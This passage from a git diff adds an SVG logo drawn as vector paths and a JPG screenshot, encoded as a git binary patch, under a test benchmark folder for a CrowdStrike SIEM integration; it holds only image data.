+<svg viewBox="-.3 3.8 700 475" xmlns="http://www.w3.org/2000/svg"><g fill="#da1b1b"><path d="m59 5.5c0 1.7 12.6 27.2 14.1 28.5.3.3 1.6 2.3 2.9 4.5s3.5 5.1 4.7 6.5c1.3 1.4 2.3 2.8 2.3 3.1s.9 1.7 2.1 3c1.1 1.3 4.4 5.1 7.2 8.4 12.9 15 31.5 32.4 51.2 47.8.6.4 2.1 1.6 3.4 2.7s2.7 2 3 2 1.8 1 3.1 2.2c3.6 3.2 7.2 5.7 26.1 18.3 17.5 11.6 17.8 11.9 24.9 16.1 2.5 1.5 5.1 3.4 5.8 4.1s1.8 1.3 2.3 1.3c.7 0 10.8 5.7 15.9 9 .8.6 2.6 1.6 4 2.2 3.6 1.8 23.6 13.9 29.5 17.9 17 11.4 38.5 30.9 45 40.6 2.7 4.1 4.5 5.4 4.5 3.2 0-1.3-4.1-8.8-5.7-10.7-.7-.7-1.3-1.8-1.3-2.3 0-1.1-6-10.9-7.8-12.8-.7-.8-2.1-2.6-3-4-2.7-4.1-6-7.8-16.2-18.1-12.3-12.2-13.7-13.3-31-26.2-8-5.9-14.9-11.1-15.5-11.6-.5-.4-2.8-1.9-5-3.2s-4.2-2.7-4.5-3-2.3-1.7-4.5-3-8.5-5.3-14-8.9c-11.1-7.3-13-8.5-16.2-10.2-1.3-.7-2.3-1.6-2.3-2.1 0-.4-.5-.8-1-.8-.6 0-3-1.4-5.3-3.1-3.9-2.8-15.9-11.3-20-14.1-1.1-.7-2.8-2.1-3.9-3.1-1.2-.9-2.4-1.7-2.7-1.7s-1.7-1-3.1-2.3c-1.4-1.2-5.3-4.4-8.7-7s-6.8-5.3-7.5-6-3.8-3.2-6.8-5.6c-12.9-10.1-56.9-52.3-61.3-58.8-1.9-2.8-4.7-4.5-4.7-2.8z"/><path d="m152.8 23.6c-.8.8.3 4.4 1.3 4.4.5 0 .9.5.9 1.2 0 1.5 7.2 15.9 8.8 17.6.6.7 1.2 1.7 1.2 2.2 0 1.3 8.6 13.7 12.8 18.4 10 11.2 28.2 28.1 35.2 32.7 1.4.9 3.9 2.9 5.5 4.3 1.7 1.5 4.8 3.9 7 5.4s4.9 3.5 5.9 4.4c1.1 1 3.8 3 6 4.5 2.3 1.6 5 3.6 6 4.5 1.1 1 3.8 3 6 4.5 2.3 1.5 4.3 3 4.6 3.3s3.7 3 7.5 6c3.9 3 7.5 5.9 8.1 6.5.6.5 4.6 4.1 8.9 8 14.6 13.1 25.8 25.3 32.6 35.5 6.6 10 9.2 14.4 15.1 25.8 3.1 6.2 7.7 14.4 10 18.3 2.4 3.9 5.4 8.9 6.7 11.2s3 4.8 3.8 5.5c.7.7 1.3 1.8 1.3 2.3s.5 1.5 1 2.2c.6.7 5.3 7.7 10.6 15.7 16.9 25.6 40.1 46 62.9 55.1 10.8 4.3 33.4 6 63 4.7 20.6-.8 44.2-.2 48.3 1.3 1.3.5 4.2.9 6.5.9 2.3.1 6 .7 8.2 1.5s4.9 1.5 6 1.5 3.3.7 4.9 1.5c1.5.8 3.5 1.5 4.3 1.5 1.6 0 7.1 2.4 19.8 8.6 18.3 9.1 33.1 19.9 48.7 35.6 10.4 10.5 10.8 10.8 11.4 8.2.8-3.1-.2-13.7-1.5-16.1-.5-1-2-4.1-3.3-6.8-2.5-5.6-7.2-12.3-14.2-20.4-2.7-3.3-4.6-6.5-4.6-7.9 0-4.1-3.9-10.5-8.5-13.9-5.8-4.3-23.6-13.3-26.3-13.3-.5 0-2.3-.7-3.8-1.5-1.6-.8-3.7-1.5-4.7-1.5-.9 0-2.5-.4-3.5-.9-.9-.5-5.1-1.9-9.2-3.1-13.7-4.1-22.5-7.2-25.6-9.1-3.3-2-6.4-7.2-6.4-10.7 0-2.6 3.8-14.4 5-15.6.6-.6 1-1.7 1-2.5 0-.9.6-2.8 1.4-4.3.8-1.4 1.9-5.8 2.6-9.7 3.3-19.4-7.2-31.8-41-48.7-4.5-2.2-12.7-5.9-16.5-7.5-1.1-.4-4.1-1.7-6.7-2.8-2.6-1.2-5.4-2.1-6.2-2.1s-1.8-.5-2.1-1c-.3-.6-1.3-1-2.2-1-.8 0-2.9-.6-4.6-1.4-1.8-.8-10.4-3.8-19.2-6.6-8.8-2.9-16.7-5.6-17.6-6-.9-.5-3.4-1.2-5.5-1.6-2.2-.3-4.3-1-4.9-1.4-.5-.4-2.6-1.1-4.5-1.4-1.9-.4-4.4-1.1-5.5-1.6-1.1-.4-4-1.3-6.5-2-2.5-.6-6.3-1.6-8.5-2.1-2.2-.6-4.9-1.5-6-1.9-1.1-.5-3.6-1.2-5.5-1.6-1.9-.3-4.1-1-5-1.4-.8-.4-4.9-1.8-9-3s-8.2-2.5-9-2.9c-.9-.5-3.1-1.2-5-1.6s-3.9-1-4.5-1.4c-.5-.4-4.4-1.8-8.5-3.1-4.1-1.2-7.9-2.6-8.5-3-.5-.4-3.9-1.7-7.5-3s-6.9-2.7-7.4-3.2c-.6-.4-1.6-.8-2.4-.8-2 0-11.4-4.3-35.2-15.9-16.7-8.2-32.1-16.6-35.5-19.3-.5-.4-4.6-3.1-9-6s-8.4-5.6-9-6c-.5-.4-5.2-3.9-10.4-7.8-18.1-13.5-44.4-38.8-55.5-53.5-2.1-2.8-3.9-5.1-4-5.3-.2-.1-.5.1-.8.4zm447.2 303c10.2 3.4 13.5 6 15.9 12.1 2.4 5.9-1.6 7.3-6.5 2.2-1.6-1.7-4.5-4-6.4-5.2s-4.1-2.7-4.8-3.4-1.9-1.3-2.7-1.3c-1.3 0-2.5-2.1-2.5-4.6 0-1.8 1.4-1.8 7 .2zm-519-240c0 1.1 8.5 17.9 10 19.7.6.7 2.7 3.4 4.7 6.2 7.3 9.8 18.7 21.5 33.9 34.5 3.8 3.3 14.2 11.1 17.5 13.2 1.4.9 3.2 2.3 4 3 .8.8 3.2 2.5 5.4 3.8s4.2 2.7 4.5 3c.6.8 30.1 18.3 39.5 23.5 7.4 4.2 15.4 8.2 43.5 21.9 16.5 8.1 19.6 9.7 31.7 17 9.1 5.5 23.7 16.9 31 24.2 4.1 4.1 7.6 7.4 7.8 7.4.3 0-.1-1.1-.7-2.5s-1.5-2.5-2-2.5c-.4 0-.8-.6-.8-1.3 0-.8-.9-2.5-2-3.8s-2.3-2.9-2.7-3.4c-7.3-9.6-13.3-15.4-31.7-31-2.5-2.2-19-13.4-26.7-18.2-6.1-3.9-18.4-10.8-30.9-17.5-3-1.7-5.9-3.4-6.5-3.8-.9-.7-5.2-3-19.5-10.8-9-4.8-31.8-18.9-35.5-21.9-.5-.5-2.8-2-5-3.3s-4.4-2.8-5-3.2c-.5-.4-5.9-4.4-12-8.9-6-4.5-11.2-8.5-11.5-8.8-.3-.4-2.7-2.4-5.5-4.5-5.6-4.2-12.8-10.8-26.2-24-5.1-5-9.3-8.6-9.3-8zm113.6 179.1c-1 1 15.8 16.6 26.9 24.9 5.5 4.1 10.5 7.8 11 8.2 2.6 2 11.6 7.2 12.4 7.2.5 0 1.6.6 2.3 1.2.7.7 2.9 2 4.8 3 13.3 6.3 19 8.8 20.4 8.8.8 0 1.7.4 2 .8.8 1.3 32.3 11.2 35.8 11.2 1 0 2.6.4 3.6 1 .9.5 3.7 1.4 6.2 1.9 8.7 1.9 13.5 3.1 15.5 4 1.1.5 5.4 1.9 9.5 3.2s7.9 2.6 8.5 3.1c.5.4 1.5.8 2.3.8s2.8.6 4.5 1.4c16.4 7.1 20.8 8.8 21.4 8.3.3-.4-.7-1.7-2.3-2.9-2.5-2-6.9-5.9-16.4-14.8-1.5-1.4-4.2-3.8-6-5.4-5-4.3-26-19.9-30.5-22.6-2.2-1.3-4.2-2.7-4.5-3-.3-.4-1.2-1-2-1.4s-4.2-2.2-7.5-4.1c-6.2-3.6-18.9-9.9-26-12.9-2.2-.9-4.7-2.1-5.5-2.5-.9-.5-3-1.2-4.8-1.5-1.7-.4-3.4-1.2-3.7-1.7-.4-.5-1.6-.9-2.8-.9-2.2.1-2.2.1-.2 1.2 1.1.6 2.2 1.4 2.5 1.8.3.3 2.5 1.8 5 3.3 5.3 3.1 15 11.7 15 13.3 0 .6-.7 1.7-1.5 2.4-1.2 1-4.1.9-14.5-.4-7.2-.9-14.1-2.1-15.3-2.6-1.2-.4-4.7-1.6-7.7-2.5-15.6-4.7-47-22.1-56.1-31-.9-.8-1.9-1.2-2.3-.8z"/><path d="m365.5 317.3c18.7 17.2 66.6 66.1 69.6 70.9 1.2 1.8-.2 3.8-2.5 3.8-1.1-.1-3.9-.9-6.1-2s-4.3-1.9-4.7-2c-1.3 0-11.2-6.3-13.8-8.7-3-2.8-4.6-3-2.8-.4 2.9 4.2 17.4 18.5 26.5 26.3 4.1 3.5 15 11 18.7 12.8 6 3 6.6 3.5 6.6 5.4 0 1.7-.5 1.8-5.5 1.2-3-.3-5.5-.3-5.5.2 0 .7 5.9 3.6 13 6.3 5.2 2.1 19.7 1.8 23.8-.4 1.8-1 4.3-1.7 5.4-1.5 2.2.3 2.4.6 5.5 7.3 3.8 8.2 12.6 19.5 15.1 19.5.5 0 1.5.6 2.1 1.4 1.2 1.4 14.9 5.1 15.7 4.3.3-.3-1.6-2.1-4.1-4.1-7-5.3-10.4-10.3-10.5-15.2 0-5.3 2.2-9.6 6.8-13.2 6.7-5.1 10.8-6.5 20.6-6.6 8 0 9.6.2 13.1 2.4 2.2 1.3 4.6 3.1 5.3 4 1.9 2.3 5.2 9.9 5.2 12.1 0 3.4 1.9 2 2.6-1.9 1.4-7.6 1-15.8-.9-18-2.7-3-10-4.9-21.2-5.7-19.1-1.2-28.8-4.4-37.4-12.2-8.9-8-8.5-8.9 4.2-9.5 9-.5 16.7-2.1 23.2-4.8 1.1-.5 4.3-1.9 7-3 2.8-1.2 8.6-3.9 13-6 16.8-8 27.1-10.4 44.3-10.4 12.5 0 15.8-.7 11.2-2.1-1.1-.3-2-1.1-2-1.6s-.4-.9-.9-.9c-.8 0-9.4-5.2-12.7-7.7-1.5-1.2-7.1-4.2-14.9-8-3.8-1.9-7.8-3.9-8.7-4.4-1-.5-2.2-.9-2.7-.9s-2.2-.5-3.8-1.2c-4.1-1.7-10.8-3.6-18.8-5.5-10.2-2.4-48.5-2.3-65.5 0-25.3 3.5-29.7 3.9-41.5 3.4-12.1-.5-16.5-1.3-28.5-4.9-7.3-2.2-8.6-2.7-15.1-5.7-2.5-1.1-4.9-2.1-5.2-2.1-.4 0-3.6-1.8-7.2-4s-6.8-4-7-4c-.5 0-8.9-5.7-14.1-9.7-6.8-5.1-4.3-1.7 5.1 7z"/></g></svg>
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-alerts-cs.jpg b/test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-alerts-cs.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..b74edfe2293f9339b63095c38f58f7692d52fdef
GIT binary patch
literal 399141
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
